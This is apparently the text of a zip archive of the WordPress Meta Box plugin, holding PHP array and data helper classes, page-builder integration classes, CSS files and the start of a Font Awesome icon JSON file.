	 * @param  string $to    To key.
	 */
	public static function change_key( &$array, $from, $to ) {
		if ( isset( $array[ $from ] ) ) {
			$array[ $to ] = $array[ $from ];
		}
		unset( $array[ $from ] );
	}

	/**
	 * Ensure a variable is an array.
	 */
	public static function ensure( $input ) : array {
		return (array) $input;
	}

	/**
	 * Flatten an array.
	 * @link https://stackoverflow.com/a/1320156/371240
	 */
	public static function flatten( array $array ) : array {
		$return = [];
		array_walk_recursive(
			$array,
			function( $a ) use ( &$return ) {
				$return[] = $a;
			}
		);
		return $return;
	}

	/**
	 * Convert flatten collection (with dot notation) to multiple dimensional array
	 *
	 * @param  collection $collection Collection to be flatten.
	 * @return array
	 */
	public static function unflatten( $collection ) {
		$collection = (array) $collection;
		$output     = [];

		foreach ( $collection as $key => $value ) {
			self::set( $output, $key, $value );

			if ( is_array( $value ) && ! strpos( $key, '.' ) ) {
				$nested         = self::unflatten( $value );
				$output[ $key ] = $nested;
			}
		}

		return $output;
	}

	/**
	 * Set array element value with dot notation.
	 */
	public static function set( &$array, $key, $value ) {
		if ( is_null( $key ) ) {
			$array = $value;
			return $array;
		}

		// Do not parse email value.
		if ( is_email( $key ) ) {
			$array[ $key ] = $value;
			return;
		}

		$keys = explode( '.', $key );

		while ( count( $keys ) > 1 ) {
			$key = array_shift( $keys );

			// If the key doesn't exist at this depth, we will just create an empty array
			// to hold the next value, allowing us to create the arrays to hold final
			// values at the correct depth. Then we'll keep digging into the array.
			if ( ! isset( $array[ $key ] ) || ! is_array( $array[ $key ] ) ) {
				$array[ $key ] = [];
			}

			$array =& $array[ $key ];
		}

		$array[ array_shift( $keys ) ] = $value;
	}

	/**
	 * Get array element value with dot notation.
	 */
	public static function get( $array, $key, $default = null ) {
		if ( is_null( $key ) ) {
			return $array;
		}

		$keys = explode( '.', $key );
		foreach ( $keys as $key ) {
			if ( isset( $array[ $key ] ) ) {
				$array = $array[ $key ];
			} else {
				return $default;
			}
		}

		return $array;
	}
}
PK     0w\@    +  dashboard/lib/meta-box/src/Support/Data.phpnu [        <?php
namespace MetaBox\Support;

class Data {
	public static function get_post_types() {
		$unsupported = [
			// WordPress built-in post types.
			'customize_changeset',
			'custom_css',
			'nav_menu_item',
			'oembed_cache',
			'revision',
			'user_request',
			'wp_block',
			'wp_template',
			'wp_template_part',
			'wp_global_styles',
			'wp_navigation',
			'wp_template',
			'wp_template_part',
			'wp_global_styles',

			// Meta Box post types.
			'mb-post-type',
			'mb-taxonomy',
			'mb-relationship',
			'mb-settings-page',
			'mb-views',
			'meta-box',

			// Elementor post types.
			'elementor_library',
			'elementor_font',
			'elementor_icons',
			'elementor_snippet',
		];
		$post_types = get_post_types( [], 'objects' );
		$post_types = array_diff_key( $post_types, array_flip( $unsupported ) );

		return $post_types;
	}

	public static function get_taxonomies() {
		$unsupported = [
			'link_category',
			'nav_menu',
			'post_format',
			'wp_theme',
			'wp_template_part_area',
			'mb-views-category',
		];
		$taxonomies = get_taxonomies( [], 'objects' );
		$taxonomies = array_diff_key( $taxonomies, array_flip( $unsupported ) );

		return $taxonomies;
	}

	public static function get_dashicons() {
		return [
			'admin-appearance',
			'admin-collapse',
			'admin-comments',
			'admin-generic',
			'admin-home',
			'admin-links',
			'admin-media',
			'admin-network',
			'admin-page',
			'admin-plugins',
			'admin-post',
			'admin-settings',
			'admin-site',
			'admin-site-alt',
			'admin-site-alt2',
			'admin-tools',
			'admin-users',
			'admin-customizer',
			'admin-multisite',
			'album',
			'align-center',
			'align-left',
			'align-none',
			'align-right',
			'align-full-width',
			'align-pull-left',
			'align-pull-right',
			'align-wide',
			'analytics',
			'archive',
			'arrow-down-alt2',
			'arrow-down-alt',
			'arrow-down',
			'arrow-left-alt2',
			'arrow-left-alt',
			'arrow-left',
			'arrow-right-alt2',
			'arrow-right-alt',
			'arrow-right',
			'arrow-up-alt2',
			'arrow-up-alt',
			'arrow-up',
			'art',
			'awards',
			'amazon',
			'airplane',
			'backup',
			'book-alt',
			'book',
			'block-default',
			'button',
			'building',
			'businessman',
			'bell',
			'beer',
			'bank',
			'car',
			'calendar-alt',
			'calendar',
			'camera',
			'camera-alt',
			'carrot',
			'cart',
			'calculator',
			'category',
			'chart-area',
			'chart-bar',
			'chart-line',
			'chart-pie',
			'clipboard',
			'clock',
			'columns',
			'cover-image',
			'cloud',
			'cloud-saved',
			'cloud-upload',
			'controls-back',
			'controls-forward',
			'controls-pause',
			'controls-play',
			'controls-repeat',
			'controls-skipback',
			'controls-skipforward',
			'controls-volumeoff',
			'controls-volumeon',
			'coffee',
			'dashboard',
			'database-add',
			'database-export',
			'database-import',
			'database-remove',
			'database-view',
			'database',
			'desktop',
			'dismiss',
			'download',
			'drumstick',
			'ellipsis',
			'embed-audio',
			'embed-generic',
			'embed-photo',
			'embed-post',
			'embed-video',
			'editor-aligncenter',
			'editor-alignleft',
			'editor-alignright',
			'editor-bold',
			'editor-break',
			'editor-code',
			'editor-contract',
			'editor-customchar',
			'editor-distractionfree',
			'editor-expand',
			'editor-help',
			'editor-indent',
			'editor-insertmore',
			'editor-italic',
			'editor-justify',
			'editor-kitchensink',
			'editor-ol',
			'editor-outdent',
			'editor-paragraph',
			'editor-paste-text',
			'editor-paste-word',
			'editor-quote',
			'editor-removeformatting',
			'editor-rtl',
			'editor-spellcheck',
			'editor-strikethrough',
			'editor-textcolor',
			'editor-ul',
			'editor-underline',
			'editor-unlink',
			'editor-video',
			'edit',
			'edit-page',
			'email-alt',
			'email',
			'excerpt-view',
			'exerpt-view',
			'external',
			'exit',
			'facebook-alt',
			'facebook',
			'feedback',
			'flag',
			'format-aside',
			'format-audio',
			'format-chat',
			'format-gallery',
			'format-image',
			'format-links',
			'format-quote',
			'format-standard',
			'format-status',
			'format-video',
			'forms',
			'filter',
			'food',
			'fullscreen-alt',
			'fullscreen-exit-alt',
			'games',
			'googleplus',
			'google',
			'grid-view',
			'groups',
			'hammer',
			'heart',
			'heading',
			'html',
			'hourglass',
			'id-alt',
			'id',
			'info-outline',
			'insert-after',
			'insert-before',
			'insert',
			'images-alt2',
			'images-alt',
			'image-crop',
			'image-flip-horizontal',
			'image-flip-vertical',
			'image-rotate-left',
			'image-rotate-right',
			'index-card',
			'info',
			'leftright',
			'lightbulb',
			'list-view',
			'location-alt',
			'location',
			'lock',
			'linkedin',
			'marker',
			'media-archive',
			'media-audio',
			'media-code',
			'media-default',
			'media-document',
			'media-interactive',
			'media-spreadsheet',
			'media-text',
			'media-video',
			'megaphone',
			'menu',
			'menu-alt',
			'menu-alt2',
			'menu-alt3',
			'microphone',
			'migrate',
			'minus',
			'money',
			'money-alt',
			'nametag',
			'networking',
			'no-alt',
			'no',
			'open-folder',
			'palmtree',
			'performance',
			'phone',
			'playlist-audio',
			'playlist-video',
			'plus-alt',
			'plus',
			'portfolio',
			'post-status',
			'post-trash',
			'pressthis',
			'products',
			'plugins-checked',
			'pinterest',
			'podio',
			'printer',
			'pdf',
			'pets',
			'privacy',
			'randomize',
			'redo',
			'rss',
			'remove',
			'reddit',
			'superhero',
			'superhero-alt',
			'spotify',
			'schedule',
			'screenoptions',
			'search',
			'share1',
			'share-alt2',
			'share-alt',
			'share',
			'shield-alt',
			'shield',
			'slides',
			'shortcode',
			'smartphone',
			'smiley',
			'sort',
			'sos',
			'star-empty',
			'star-filled',
			'star-half',
			'store',
			'saved',
			'tablet',
			'twitch',
			'table-col-after',
			'table-col-before',
			'table-col-delete',
			'table-row-after',
			'table-row-before',
			'table-row-delete',
			'tagcloud',
			'tag',
			'testimonial',
			'text',
			'tickets-alt',
			'tickets',
			'translation',
			'trash',
			'twitter',
			'undo',
			'universal-access-alt',
			'universal-access',
			'update',
			'upload',
			'vault',
			'video-alt2',
			'video-alt3',
			'video-alt',
			'visibility',
			'xing',
			'youtube',
			'whatsapp',
			'welcome-add-page',
			'welcome-comments',
			'welcome-edit-page',
			'welcome-learn-more',
			'welcome-view-site',
			'welcome-widgets-menus',
			'welcome-write-blog',
			'wordpress-alt',
			'wordpress',
		];
	}
}PK     0w\    2  dashboard/lib/meta-box/src/Integrations/Bricks.phpnu [        <?php
namespace MetaBox\Integrations;

class Bricks {
	public function __construct() {
		add_filter( 'bricks/builder/i18n', [ $this, 'i18n' ] );
	}

	public function i18n( array $i18n ): array {
		$i18n['meta-box'] = esc_html__( 'Meta Box', 'meta-box' );
		return $i18n;
	}
}
PK     0w\Dt  t  2  dashboard/lib/meta-box/src/Integrations/Oxygen.phpnu [        <?php
namespace MetaBox\Integrations;

class Oxygen {

	public function __construct() {
		add_action( 'oxygen_add_plus_sections', [ $this, 'add_metabox_category' ] );
	}

	public function add_metabox_category() {
		if ( ! defined( 'CT_VERSION' ) ) {
			return;
		}
		\CT_Toolbar::oxygen_add_plus_accordion_section( 'meta-box', esc_html__( 'Meta Box', 'meta-box' ) );
	}
}
PK     0w\V׀    5  dashboard/lib/meta-box/src/Integrations/Elementor.phpnu [        <?php
namespace MetaBox\Integrations;

class Elementor {
	public function __construct() {
		add_action( 'elementor/elements/categories_registered', [ $this, 'add_metabox_category' ] );
	}

	public function add_metabox_category() {
		\Elementor\Plugin::instance()->elements_manager->add_category(
			'metabox',
			[
				'title' => esc_html__( 'Meta Box', 'meta-box' ),
				'icon'  => 'fa fa-m',
			]
		);
	}
}
PK     0w\d  d  1  dashboard/lib/meta-box/src/Integrations/Block.phpnu [        <?php
namespace MetaBox\Integrations;

class Block {
	public function __construct() {
		add_filter( 'block_categories_all', [ $this, 'register_block_category' ] );
	}

	public function register_block_category( $categories ) {
		$categories[] = [
			'slug'  => 'meta-box',
			'title' => esc_html__( 'Meta Box', 'meta-box' ),
		];

		return $categories;
	}
}PK     0w\    #  dashboard/lib/meta-box/meta-box.phpnu [        <?php
/**
 * Plugin Name: Meta Box
 * Plugin URI:  https://metabox.io
 * Description: Create custom meta boxes and custom fields in WordPress.
 * Version:     5.9.7
 * Author:      MetaBox.io
 * Author URI:  https://metabox.io
 * License:     GPL2+
 * Text Domain: meta-box
 * Domain Path: /languages/
 *
 * @package Meta Box
 */

if ( defined( 'ABSPATH' ) && ! defined( 'RWMB_VER' ) ) {
	require_once __DIR__ . '/inc/loader.php';
	$rwmb_loader = new RWMB_Loader();
	$rwmb_loader->init();
}
PK     0w\5    "  dashboard/lib/meta-box/css/map.cssnu [        .rwmb-map-canvas {
	width: 100%;
	height: 400px;
	margin-bottom: 10px;
}

/* Autocomplete style, copy from WordPress's common.css and forms.css */

input.ui-autocomplete-input.open {
	border-bottom-color: transparent;
}

.ui-autocomplete {
	padding: 0;
	margin: 0;
	list-style: none;
	position: absolute;
	z-index: 10000;
	border: 1px solid #5b9dd9;
	box-shadow: 0 1px 2px rgba( 30, 140, 190, 0.8 );
	background-color: #fff;
}

.ui-autocomplete li {
	margin-bottom: 0;
	padding: 4px 10px;
	white-space: nowrap;
	text-align: left;
	cursor: pointer;
}

/* Colors for the wplink toolbar autocomplete. */
.ui-autocomplete .ui-state-focus {
	background-color: #ddd;
}

.ui-helper-hidden-accessible {
	border: 0;
	clip: rect(1px, 1px, 1px, 1px);
	-webkit-clip-path: inset(50%);
	clip-path: inset(50%);
	height: 1px;
	margin: -1px;
	overflow: hidden;
	padding: 0;
	position: absolute;
	width: 1px;
	word-wrap: normal !important; /* many screen reader and browser combinations announce broken words as they would appear visually */
}
PK     0w\"[      $  dashboard/lib/meta-box/css/color.cssnu [        .rwmb-color-wrapper .wp-picker-container {
	position: relative;
}
.rwmb-color-wrapper .wp-picker-holder {
	position: absolute;
	z-index: 99;
	min-width: 255px;
}
PK     0w\ok    %  dashboard/lib/meta-box/css/upload.cssnu [        .rwmb-upload-area {
	height: 200px;
	border: 4px dashed #ddd;
	display: flex;
	align-items: center;
	justify-content: center;
	text-align: center;
}

.rwmb-upload-inside h3 {
	font-size: 20px;
	line-height: 1.4;
	font-weight: 400;
	margin: 0;
}

.rwmb-upload-inside p {
	margin: .5em 0;
}

/* Progress bar */
.rwmb-progress {
	--height: 16px;

	margin-bottom: 12px;

	position: relative;
	z-index: 1;

	border-radius: 99px;
	background-color: #ddd;

	height: var(--height);
	line-height: var(--height);
	color: #fff;
	font-size: 11px;
	text-align: center;
}

.rwmb-progress:before {
	display: block;
	content: "";

	position: absolute;
	width: calc(var(--value) * 1%);
	height: 100%;
	z-index: -1;

	background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);
	background-size: 16px 16px;
	background-color: var(--wp-admin-theme-color, #2271b1);
	border-radius: 99px 0 0 99px;
}

.rwmb-progress--completed:before {
	border-radius: 99px;
	animation: progress 1s linear infinite;
}

@keyframes progress {
	0% {
		background-position: 0 0;
	}

	100% {
		background-position: 16px 0px;
	}
}PK     0w\R>h   h   *  dashboard/lib/meta-box/css/select-tree.cssnu [        .rwmb-select-tree .rwmb-select-tree {
	margin-top: 6px;
}

.rwmb-select-tree.hidden {
	display: none;
}
PK     0w\tm    $  dashboard/lib/meta-box/css/media.cssnu [        .rwmb-media-list {
	margin: 0;
	padding: 0;
	overflow: hidden;
}
.rwmb-edit-media,
.rwmb-remove-media {
	color: inherit;
	text-decoration: none;
}
.rwmb-edit-media:after {
	content: "|";
	color: #dcdcde;
	margin: 0 6px;
}
.rwmb-remove-media {
	color: #b32d2e;
}PK     0w\ȵ      %  dashboard/lib/meta-box/css/oembed.cssnu [        .rwmb-oembed-wrapper .spinner {
	float: none;
	vertical-align: top;
	display: inline-block;
}
.rwmb-embed-media {
	margin-top: 1em;
}
.rwmb-embed-media iframe {
	max-width: 100%;
}
PK     0w\      $  dashboard/lib/meta-box/css/video.cssnu [        .rwmb-video-item {
	position: relative;
	float: left;
	margin: 0 12px 12px 0;
	list-style: none;
	width: 300px;
	box-sizing: border-box;
}

.rwmb-video-item video {
	width: auto;
	height: 100%;
}

.rwmb-video-item .rwmb-media-info {
	margin-top: 12px;
}
PK     0w\gF= F= 1  dashboard/lib/meta-box/css/fontawesome/icons.jsonnu [        {
  "0": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Digit Zero", "nada", "none", "zero", "zilch"]
    },
    "styles": ["solid"],
    "unicode": "30",
    "label": "0",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M0 192C0 103.6 71.6 32 160 32s160 71.6 160 160V320c0 88.4-71.6 160-160 160S0 408.4 0 320V192zM160 96c-53 0-96 43-96 96V320c0 53 43 96 96 96s96-43 96-96V192c0-53-43-96-96-96z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M0 192C0 103.6 71.6 32 160 32s160 71.6 160 160V320c0 88.4-71.6 160-160 160S0 408.4 0 320V192zM160 96c-53 0-96 43-96 96V320c0 53 43 96 96 96s96-43 96-96V192c0-53-43-96-96-96z"
      }
    },
    "free": ["solid"]
  },
  "1": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Digit One", "one"]
    },
    "styles": ["solid"],
    "unicode": "31",
    "label": "1",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767244,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 256 512\"><path d=\"M160 64c0-11.8-6.5-22.6-16.9-28.2s-23-5-32.8 1.6l-96 64C-.5 111.2-4.4 131 5.4 145.8s29.7 18.7 44.4 8.9L96 123.8V416H32c-17.7 0-32 14.3-32 32s14.3 32 32 32h96 96c17.7 0 32-14.3 32-32s-14.3-32-32-32H160V64z\"/></svg>",
        "viewBox": [0, 0, 256, 512],
        "width": 256,
        "height": 512,
        "path": "M160 64c0-11.8-6.5-22.6-16.9-28.2s-23-5-32.8 1.6l-96 64C-.5 111.2-4.4 131 5.4 145.8s29.7 18.7 44.4 8.9L96 123.8V416H32c-17.7 0-32 14.3-32 32s14.3 32 32 32h96 96c17.7 0 32-14.3 32-32s-14.3-32-32-32H160V64z"
      }
    },
    "free": ["solid"]
  },
  "2": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Digit Two", "two"]
    },
    "styles": ["solid"],
    "unicode": "32",
    "label": "2",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767245,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M142.9 96c-21.5 0-42.2 8.5-57.4 23.8L54.6 150.6c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L40.2 74.5C67.5 47.3 104.4 32 142.9 32C223 32 288 97 288 177.1c0 38.5-15.3 75.4-42.5 102.6L109.3 416H288c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-12.9 0-24.6-7.8-29.6-19.8s-2.2-25.7 6.9-34.9L200.2 234.5c15.2-15.2 23.8-35.9 23.8-57.4c0-44.8-36.3-81.1-81.1-81.1z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M142.9 96c-21.5 0-42.2 8.5-57.4 23.8L54.6 150.6c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L40.2 74.5C67.5 47.3 104.4 32 142.9 32C223 32 288 97 288 177.1c0 38.5-15.3 75.4-42.5 102.6L109.3 416H288c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-12.9 0-24.6-7.8-29.6-19.8s-2.2-25.7 6.9-34.9L200.2 234.5c15.2-15.2 23.8-35.9 23.8-57.4c0-44.8-36.3-81.1-81.1-81.1z"
      }
    },
    "free": ["solid"]
  },
  "3": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Digit Three", "three"]
    },
    "styles": ["solid"],
    "unicode": "33",
    "label": "3",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M0 64C0 46.3 14.3 32 32 32H272c13.2 0 25 8.1 29.8 20.4s1.5 26.3-8.2 35.2L162.3 208H184c75.1 0 136 60.9 136 136s-60.9 136-136 136H105.4C63 480 24.2 456 5.3 418.1l-1.9-3.8c-7.9-15.8-1.5-35 14.3-42.9s35-1.5 42.9 14.3l1.9 3.8c8.1 16.3 24.8 26.5 42.9 26.5H184c39.8 0 72-32.2 72-72s-32.2-72-72-72H80c-13.2 0-25-8.1-29.8-20.4s-1.5-26.3 8.2-35.2L189.7 96H32C14.3 96 0 81.7 0 64z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M0 64C0 46.3 14.3 32 32 32H272c13.2 0 25 8.1 29.8 20.4s1.5 26.3-8.2 35.2L162.3 208H184c75.1 0 136 60.9 136 136s-60.9 136-136 136H105.4C63 480 24.2 456 5.3 418.1l-1.9-3.8c-7.9-15.8-1.5-35 14.3-42.9s35-1.5 42.9 14.3l1.9 3.8c8.1 16.3 24.8 26.5 42.9 26.5H184c39.8 0 72-32.2 72-72s-32.2-72-72-72H80c-13.2 0-25-8.1-29.8-20.4s-1.5-26.3 8.2-35.2L189.7 96H32C14.3 96 0 81.7 0 64z"
      }
    },
    "free": ["solid"]
  },
  "4": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Digit Four", "four"]
    },
    "styles": ["solid"],
    "unicode": "34",
    "label": "4",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767244,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M189 77.6c7.5-16 .7-35.1-15.3-42.6s-35.1-.7-42.6 15.3L3 322.4c-4.7 9.9-3.9 21.5 1.9 30.8S21 368 32 368H256v80c0 17.7 14.3 32 32 32s32-14.3 32-32V368h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H320V160c0-17.7-14.3-32-32-32s-32 14.3-32 32V304H82.4L189 77.6z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M189 77.6c7.5-16 .7-35.1-15.3-42.6s-35.1-.7-42.6 15.3L3 322.4c-4.7 9.9-3.9 21.5 1.9 30.8S21 368 32 368H256v80c0 17.7 14.3 32 32 32s32-14.3 32-32V368h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H320V160c0-17.7-14.3-32-32-32s-32 14.3-32 32V304H82.4L189 77.6z"
      }
    },
    "free": ["solid"]
  },
  "5": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Digit Five", "five"]
    },
    "styles": ["solid"],
    "unicode": "35",
    "label": "5",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767247,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M32.5 58.3C35.3 43.1 48.5 32 64 32H256c17.7 0 32 14.3 32 32s-14.3 32-32 32H90.7L70.3 208H184c75.1 0 136 60.9 136 136s-60.9 136-136 136H100.5c-39.4 0-75.4-22.3-93-57.5l-4.1-8.2c-7.9-15.8-1.5-35 14.3-42.9s35-1.5 42.9 14.3l4.1 8.2c6.8 13.6 20.6 22.1 35.8 22.1H184c39.8 0 72-32.2 72-72s-32.2-72-72-72H32c-9.5 0-18.5-4.2-24.6-11.5s-8.6-16.9-6.9-26.2l32-176z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M32.5 58.3C35.3 43.1 48.5 32 64 32H256c17.7 0 32 14.3 32 32s-14.3 32-32 32H90.7L70.3 208H184c75.1 0 136 60.9 136 136s-60.9 136-136 136H100.5c-39.4 0-75.4-22.3-93-57.5l-4.1-8.2c-7.9-15.8-1.5-35 14.3-42.9s35-1.5 42.9 14.3l4.1 8.2c6.8 13.6 20.6 22.1 35.8 22.1H184c39.8 0 72-32.2 72-72s-32.2-72-72-72H32c-9.5 0-18.5-4.2-24.6-11.5s-8.6-16.9-6.9-26.2l32-176z"
      }
    },
    "free": ["solid"]
  },
  "6": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Digit Six", "six"]
    },
    "styles": ["solid"],
    "unicode": "36",
    "label": "6",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767247,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M232.4 84.7c11.4-13.5 9.7-33.7-3.8-45.1s-33.7-9.7-45.1 3.8L38.6 214.7C14.7 242.9 1.1 278.4 .1 315.2c0 1.4-.1 2.9-.1 4.3c0 .2 0 .3 0 .5c0 88.4 71.6 160 160 160s160-71.6 160-160c0-85.5-67.1-155.4-151.5-159.8l63.9-75.6zM256 320A96 96 0 1 1 64 320a96 96 0 1 1 192 0z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M232.4 84.7c11.4-13.5 9.7-33.7-3.8-45.1s-33.7-9.7-45.1 3.8L38.6 214.7C14.7 242.9 1.1 278.4 .1 315.2c0 1.4-.1 2.9-.1 4.3c0 .2 0 .3 0 .5c0 88.4 71.6 160 160 160s160-71.6 160-160c0-85.5-67.1-155.4-151.5-159.8l63.9-75.6zM256 320A96 96 0 1 1 64 320a96 96 0 1 1 192 0z"
      }
    },
    "free": ["solid"]
  },
  "7": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Digit Seven", "seven"]
    },
    "styles": ["solid"],
    "unicode": "37",
    "label": "7",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767247,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M0 64C0 46.3 14.3 32 32 32H288c11.5 0 22 6.1 27.7 16.1s5.7 22.2-.1 32.1l-224 384c-8.9 15.3-28.5 20.4-43.8 11.5s-20.4-28.5-11.5-43.8L232.3 96H32C14.3 96 0 81.7 0 64z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M0 64C0 46.3 14.3 32 32 32H288c11.5 0 22 6.1 27.7 16.1s5.7 22.2-.1 32.1l-224 384c-8.9 15.3-28.5 20.4-43.8 11.5s-20.4-28.5-11.5-43.8L232.3 96H32C14.3 96 0 81.7 0 64z"
      }
    },
    "free": ["solid"]
  },
  "8": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Digit Eight", "eight"]
    },
    "styles": ["solid"],
    "unicode": "38",
    "label": "8",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767247,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M304 160c0-70.7-57.3-128-128-128H144C73.3 32 16 89.3 16 160c0 34.6 13.7 66 36 89C20.5 272.3 0 309.8 0 352c0 70.7 57.3 128 128 128h64c70.7 0 128-57.3 128-128c0-42.2-20.5-79.7-52-103c22.3-23 36-54.4 36-89zM176.1 288H192c35.3 0 64 28.7 64 64s-28.7 64-64 64H128c-35.3 0-64-28.7-64-64s28.7-64 64-64h15.9c0 0 .1 0 .1 0h32c0 0 .1 0 .1 0zm0-64c0 0 0 0 0 0H144c0 0 0 0 0 0c-35.3 0-64-28.7-64-64c0-35.3 28.7-64 64-64h32c35.3 0 64 28.7 64 64c0 35.3-28.6 64-64 64z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M304 160c0-70.7-57.3-128-128-128H144C73.3 32 16 89.3 16 160c0 34.6 13.7 66 36 89C20.5 272.3 0 309.8 0 352c0 70.7 57.3 128 128 128h64c70.7 0 128-57.3 128-128c0-42.2-20.5-79.7-52-103c22.3-23 36-54.4 36-89zM176.1 288H192c35.3 0 64 28.7 64 64s-28.7 64-64 64H128c-35.3 0-64-28.7-64-64s28.7-64 64-64h15.9c0 0 .1 0 .1 0h32c0 0 .1 0 .1 0zm0-64c0 0 0 0 0 0H144c0 0 0 0 0 0c-35.3 0-64-28.7-64-64c0-35.3 28.7-64 64-64h32c35.3 0 64 28.7 64 64c0 35.3-28.6 64-64 64z"
      }
    },
    "free": ["solid"]
  },
  "9": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Digit Nine", "nine"]
    },
    "styles": ["solid"],
    "unicode": "39",
    "label": "9",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767244,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M64 192a96 96 0 1 0 192 0A96 96 0 1 0 64 192zm87.5 159.8C67.1 347.4 0 277.5 0 192C0 103.6 71.6 32 160 32s160 71.6 160 160c0 2.6-.1 5.3-.2 7.9c-1.7 35.7-15.2 70-38.4 97.4l-145 171.4c-11.4 13.5-31.6 15.2-45.1 3.8s-15.2-31.6-3.8-45.1l63.9-75.6z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M64 192a96 96 0 1 0 192 0A96 96 0 1 0 64 192zm87.5 159.8C67.1 347.4 0 277.5 0 192C0 103.6 71.6 32 160 32s160 71.6 160 160c0 2.6-.1 5.3-.2 7.9c-1.7 35.7-15.2 70-38.4 97.4l-145 171.4c-11.4 13.5-31.6 15.2-45.1 3.8s-15.2-31.6-3.8-45.1l63.9-75.6z"
      }
    },
    "free": ["solid"]
  },
  "42-group": {
    "aliases": {
      "names": ["innosoft"]
    },
    "changes": ["5.15.0", "6.0.0-beta2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e080",
    "label": "42.group",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014467,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 96V416C341.011 416 361.818 411.861 381.23 403.821C400.641 395.78 418.28 383.995 433.138 369.138C447.995 354.28 459.78 336.641 467.821 317.23C475.861 297.818 480 277.011 480 256C480 234.989 475.861 214.182 467.821 194.771C459.78 175.359 447.995 157.72 433.138 142.863C418.28 128.005 400.641 116.22 381.23 108.179C361.818 100.139 341.011 96 320 96ZM0 256L160.002 416L320.003 256L160.002 96L0 256ZM480 256C480 277.011 484.138 297.818 492.179 317.23C500.219 336.643 512.005 354.28 526.862 369.138C541.72 383.995 559.357 395.781 578.77 403.821C598.182 411.862 618.989 416 640 416V96C597.565 96 556.869 112.858 526.862 142.863C496.857 172.869 480 213.565 480 256Z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
